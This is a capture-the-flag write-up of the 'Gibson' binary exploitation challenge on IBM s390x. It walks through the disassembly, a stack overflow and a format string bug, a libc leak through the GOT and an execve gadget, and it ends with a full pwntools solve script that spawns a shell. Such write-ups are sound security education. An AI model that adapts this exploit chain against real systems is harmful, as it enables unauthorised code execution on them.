US Cyber Open 2022 - Gibson - Stack overflow to RCE on s390x
Can you really call it a “main"frame if I haven’t used it before now? Author: Research Innovations, Inc. (RII)
Gibson was a binary exploitation challenge in the US Cyber Open CTF in 2022, which is the first step toward qualification for the US Cyber Team. At the end of the CTF, it was worth 1000 points and had 10 solves. I was the fourth solve on this challenge (could have been second if CTFd wasn’t glitching 😔).
Anyways, let’s get to the challenge!
We are given a tarball that contains a docker setup (for both debug and testing), and the binaries for the challenge (which were a program called
mainframe and the
libc.so.6 file that it dynamically loads).
Initial Investigation - What even is this?
checksec on the binary, we find that it is compiled for the s390x architecture. I’d never heard of this architecture before, but looking it up, it looks like it was designed by IBM, and was discontinued in 1998. 💀
$ file mainframe mainframe: ELF 64-bit MSB executable, IBM S/390, version 1 (SYSV), dynamically linked, interpreter /lib/ld64.so.1, BuildID[sha1]=5684ff421a651508bbe92190636290180d7e03c2, for GNU/Linux 3.2.0, not stripped $ checksec mainframe [!] Could not populate PLT: AttributeError: arch must be one of ['aarch64', 'alpha', 'amd64', 'arm', 'avr', 'cris', 'i386', 'ia64', 'm68k', 'mips', 'mips64', 'msp430', 'none', 'powerpc', 'powerpc64', 'riscv', 's390', 'sparc', 'sparc64', 'thumb', 'vax'] [*] '/home/ethan/ctf/uscyberopen/pwn/gibson/gibson_s390x/bin/mainframe' Arch: em_s390-64-big RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x1000000)
This gives us some information about the binary. Seems that s390x is a big-endian architecture (yikes!), and that the binary is compiled with no PIE and no canary.
Setting up the environment - Thanks for the help!
Thankfully, the challenge author has left a
tips.md file for us to read, to guide us in setting up a debug/test environment. Not only that, but a
docker-compose.yml file has been left for us to do all the necessary configuration for the challenge environment. Other people did run into some problems with the debug environment not working, but this could be solved by updating to the latest version of Docker and docker-compose.
docker-compose up --build -d, we start the containers—one for debug and one for testing. As we can see from the
tips.md file, we can connect to
localhost:8888 to access the debug challenge,
localhost:1234 to access the qemu gdbserver, and
localhost:9999 to access a testing environment for the challenge that should be identical to the one that the organizers have.
Now that we have a debug environment, we can start with the actual challenge!
Reverse engineering - Time to guess what opcodes do!
I looked online for any decompilers for s390x, but it seems that there was nothing. So, I installed
apt-get install binutils-s390x-linux-gnu, and started reading through the assembly code. The important part of the disassembly is the
s390x-linux-gnu-objdumpdoes not seem to support Intel syntax, so we’ll have to bear with what we have right now.😢
0000000001000830 <main>: 1000830: eb bf f0 58 00 24 stmg %r11,%r15,88(%r15) 1000836: e3 f0 fb 58 ff 71 lay %r15,-1192(%r15) 100083c: b9 04 00 bf lgr %r11,%r15 1000840: c4 18 00 00 0b d8 lgrl %r1,1001ff0 <stdin@GLIBC_2.2> 1000846: e3 10 10 00 00 04 lg %r1,0(%r1) 100084c: a7 59 00 00 lghi %r5,0 1000850: a7 49 00 02 lghi %r4,2 1000854: a7 39 00 00 lghi %r3,0 1000858: b9 04 00 21 lgr %r2,%r1 100085c: c0 e5 ff ff ff 1c brasl %r14,1000694 <setvbuf@plt> 1000862: c4 18 00 00 0b cb lgrl %r1,1001ff8 <stdout@GLIBC_2.2> 1000868: e3 10 10 00 00 04 lg %r1,0(%r1) 100086e: a7 59 00 00 lghi %r5,0 1000872: a7 49 00 02 lghi %r4,2 1000876: a7 39 00 00 lghi %r3,0 100087a: b9 04 00 21 lgr %r2,%r1 100087e: c0 e5 ff ff ff 0b brasl %r14,1000694 <setvbuf@plt> 1000884: ec 1b 00 a0 00 d9 aghik %r1,%r11,160 100088a: a7 49 04 00 lghi %r4,1024 100088e: a7 39 00 00 lghi %r3,0 1000892: b9 04 00 21 lgr %r2,%r1 1000896: c0 e5 ff ff ff 0f brasl %r14,10006b4 <memset@plt> 100089c: c0 20 00 00 00 d6 larl %r2,1000a48 <_IO_stdin_used+0x4> 10008a2: c0 e5 ff ff fe d9 brasl %r14,1000654 <puts@plt> 10008a8: c0 20 00 00 00 d7 larl %r2,1000a56 <_IO_stdin_used+0x12> 10008ae: c0 e5 ff ff fe d3 brasl %r14,1000654 <puts@plt> 10008b4: ec 1b 00 a0 00 d9 aghik %r1,%r11,160 10008ba: a7 49 07 d0 lghi %r4,2000 10008be: b9 04 00 31 lgr %r3,%r1 10008c2: a7 29 00 00 lghi %r2,0 10008c6: c0 e5 ff ff fe 97 brasl %r14,10005f4 <read@plt> 10008cc: c0 20 00 00 00 cf larl %r2,1000a6a <_IO_stdin_used+0x26> 10008d2: c0 e5 ff ff fe c1 brasl %r14,1000654 <puts@plt> 10008d8: e5 48 b4 a0 00 00 mvghi 1184(%r11),0 10008de: a7 f4 00 13 j 1000904 <main+0xd4> 10008e2: e3 10 b4 a0 00 04 lg %r1,1184(%r11) 10008e8: 43 11 b0 a0 ic %r1,160(%r1,%r11) 10008ec: c0 17 00 00 00 52 xilf %r1,82 10008f2: 18 21 lr %r2,%r1 10008f4: e3 10 b4 a0 00 04 lg %r1,1184(%r11) 10008fa: 42 21 b0 a0 stc %r2,160(%r1,%r11) 10008fe: eb 01 b4 a0 00 7a agsi 1184(%r11),1 1000904: e3 10 b4 a0 00 04 lg %r1,1184(%r11) 100090a: c2 1e 00 00 03 ff clgfi %r1,1023 1000910: a7 c4 ff e9 jle 10008e2 <main+0xb2> 1000914: a7 29 00 00 lghi %r2,0 1000918: c0 e5 ff ff fe 8e brasl %r14,1000634 <sleep@plt> 100091e: ec 1b 00 a0 00 d9 aghik %r1,%r11,160 1000924: b9 04 00 21 lgr %r2,%r1 1000928: c0 e5 ff ff fe 76 brasl %r14,1000614 <printf@plt> 100092e: a7 18 00 00 lhi %r1,0 1000932: b9 14 00 11 lgfr %r1,%r1 1000936: b9 04 00 21 lgr %r2,%r1 100093a: eb bf b5 00 00 04 lmg %r11,%r15,1280(%r11) 1000940: 07 fe br %r14 1000942: 07 07 nopr %r7 1000944: 07 07 nopr %r7 1000946: 07 07 nopr %r7
These opcodes are different than the familiar ones, as this is not x86. I found a reference for the opcodes at https://en.wikibooks.org/wiki/360_Assembly/360_Instruction, but a lot of the opcodes do not have a wiki article added so I had to do a bit of inferring as to what each opcode did.
While investigating s390x, I also noticed that at the end of each function, we have a
br %r14 instruction. This instruction means that program execution continues at the address in
r14 after a function is called. We could say that the return address is stored in the
r14 register. I also found that
r15 is being used as the stack pointer.
After a while, I found two vulnerabilities. First of all, there’s a stack buffer overflow at
10008b4: ec 1b 00 a0 00 d9 aghik %r1,%r11,160 10008ba: a7 49 07 d0 lghi %r4,2000 10008be: b9 04 00 31 lgr %r3,%r1 10008c2: a7 29 00 00 lghi %r2,0 10008c6: c0 e5 ff ff fe 97 brasl %r14,10005f4 <read@plt>
Here, 2000 bytes are written into a buffer that is 1024 (or something like that) bytes long. We can guess from here that the calling convention for this architecture is that arguments get passed through
r3, and then
r4. This is because we see here that
read(0, <address>, 2000) is being called.
Another vulnerability that I found was that at
0x1000928, user input is passed through
r2, making it the first argument to
printf. This is a format string vulnerability.
100091e: ec 1b 00 a0 00 d9 aghik %r1,%r11,160 1000924: b9 04 00 21 lgr %r2,%r1 1000928: c0 e5 ff ff fe 76 brasl %r14,1000614 <printf@plt>
However, after running the program (through connecting to
localhost:9999), we can see that the lines of assembly before the call to
printf do manipulate our input a little bit.
Through looking at the assembly and experimenting a bit, we can see that our input is XORed with the character
R before being passed to
printf. This shouldn’t be a problem, because we can just XOR our input with
R before passing it the program.
So, let’s see what we know at this point:
- The program reads in too much input, leading to a stack buffer overflow
- The program also calls
printf()on the input XORed with
R, allowing us to leak values (or write to arbitrary addresses with the
Exploitation - What do we control?
We do have a stack overflow, but we do not know if the stack in s390x works the same way as in x86. So, we do some experimentation.
First, we generate a cyclic pattern with
cyclic 2000 -n 8. Then we pass it to the program running with GDB at
localhost:8888. This can be debugged with the gdbserver running at
localhost:1234 using gdb-multiarch:
gef➤ set architecture s390:64-bit The target architecture is assumed to be s390:64-bit gef➤ file bin/mainframe Reading symbols from bin/mainframe... (No debugging symbols found in bin/mainframe) Python Exception <class 'ValueError'> 22 is not a valid Abi: gef➤ target remote localhost:1234
We can then examine the registers in GDB with
info reg. Four of the registers look like they have been affected by our input:
r11 0x7061616161616166 0x7061616161616166 r12 0x7161616161616166 0x7161616161616166 r13 0x7261616161616166 0x7261616161616166 r14 0x7361616161616166 0x7361616161616166 r15 0x7461616161616166 0x7461616161616166
Seems that we have control over
r15! This is more register control than we would have in x86_64, where we have control over only
rip. We know that
r14 will be jumped to at the end of the function, so we do control the return address. We also know that
r15 is the stack pointer. This should not be changed by our overflow. Lastly, we control
r13, which could be useful later when trying to get a shell.
We look up the offsets to our saved registers with
cyclic -l 0x6661616161616170 -n 8. (Note how I had to convert from big endian to little endian) This gives us an offset of 1120 bytes to our saved registers!
mainframe binary in of itself does not have a win function or anything that would be useful to call, so we will have to try to leak the libc base address in order to get a shell. We can do this with a format string. This format string leak can be done in the same way as we would usually do a format string leak, so I will not cover the details here. However, there are two things that we must pay attention to:
- We must make sure to XOR it with
Rwhen we are finished.
- Because this is big-endian, the first two bytes are null. So, if we want to leak with
%s, we must offset our address by 2 to get the non-null bytes.
I used this python snippet with pwntools to generate the format string payload:
xor(b"%6$s\0\0\0\0" + p64(elf.got.puts+2), b"R")
We can parse this with u64() in pwntools, which will automatically use big endian for p64() and u64() if we set the context correctly.
Now that we have a leak, we can use our overflow to return back to the main function and do another overflow, this time with a leak!
Finding shell gadgets - Grep for the win!
Now that we have control of the program control flow and a leak, we can jump to an address that will give us a shell! On x86_64, I would use a one_gadget to spawn a shell. However, there are no tools (that I know of) that will do this on s390x. I’m not even sure if there are any one_gadgets on this version of the s390x libc. However, remembering that we have control over
r13, we can find something that’s close enough.
First of all, we need to look into syscalls in the s390x architecture. Finding a place where the
execve syscall is being called is a good first step in finding somewhere that will spawn a shell. I found a table of syscall numbers int the kernel source code, which tells us that
execve is syscall 11. Referring back to the table of instructions found earlier, we find that the
svc instruction is used to call a syscall. We chain
grep to find where this syscall is used:
$ s390x-linux-gnu-objdump -d libc.so.6 | grep -B 3 - A 3 'svc\s*11$' d9bfe: 07 07 nopr %r7 00000000000d9c00 <execve@@GLIBC_2.2>: d9c00: 0a 0b svc 11 d9c02: a7 49 f0 01 lghi %r4,-4095 d9c06: b9 21 00 24 clgr %r2,%r4 d9c0a: c0 b4 00 00 00 04 jgnl d9c12 <execve@@GLIBC_2.2+0x12>
There’s only one location where
execve is called, at the beginning of the
execve() function. We use the same strategy to find where
execve() is called, and we find this gadget:
$ s390x-linux-gnu-objdump -d libc.so.6 | grep -B 3 -A 3 'd9c00' ... da680: b3 cd 00 49 lgdr %r4,%f9 da684: b3 cd 00 3e lgdr %r3,%f14 da688: b9 04 00 2d lgr %r2,%r13 da68c: c0 e5 ff ff fa ba brasl %r14,d9c00 <execve@@GLIBC_2.2> da692: e3 10 b0 a0 00 04 lg %r1,160(%r11) da698: e3 60 10 00 00 04 lg %r6,0(%r1) da69e: 58 16 a0 00 l %r1,0(%r6,%r10) ...
libc base + 0xda688 will load the contents of
r2 (where the first argument of the syscall is called), then call
execve(), which will call the
Because we control
r13, we can put the address of
/bin/sh (which is present in libc because of the
system function) into the first argument passed to
excecve, hope that
r4 are 0, and spawn a shell!
That gives us our final exploit path:
- Leak libc address by using the format string to read from the GOT
- Return to main because we control
- Return to the shell gadget while setting
r13to a pointer to
Putting it all together
Here’s my solve script:
from pwn import * elf = ELF("./mainframe") libc = ELF("./libc.so.6") context.arch = "s390" context.bits = 64 conn = remote("localhost", 9999) payload = xor(b"%6$s\0\0\0\0" + p64(elf.got.puts+2), b"R") payload = payload.ljust(1120, b"a") payload += p64(0) # r11 payload += p64(0) # r12 payload += p64(0) # r13 payload += p64(elf.sym.main) # r14 conn.send(payload) # ret2main conn.recvuntil(b"...\n") libc.address = u64(b"\0\0" + conn.recv(6)) - libc.sym.puts # leak libc info("libc @ " + hex(libc.address)) payload = b"" payload = payload.ljust(1120, b"a") payload += p64(0) # r11 payload += p64(0) # r12 payload += p64(next(libc.search(b'/bin/sh'))) # r13, gets popped into r2 payload += p64(libc.address + 0xda680) # r14, our shell gadget conn.send(payload) conn.interactive()
This gets us a shell, and we can run
cat flag to get the flag:
 The organizers were not able to host the challenge as something that players could connect to, so instead we had to submit solve scripts through a (glitchy) submission box on CTFd. I believe that my submission didn’t go through the first time I solved it.😭↩
 Originally, I used
%p to leak the libc address, but this was different on the debug and testing environments, probably because the stack was shifted around as a result of the different environments. A more reliable way was to use the GOT to leak, which is what I did in this writeup. ↩
 After some discussion with others, it seems that some people were able to utilize the
system function, or find a gadget to arbitrarily set
r2. But I like this method because it’s the first thing that I found in libc. 🙂↩
 This was actually DMed to us afterwards, as the organizers ran the solve scripts against their own infrastructure rather than having players to run them. ↩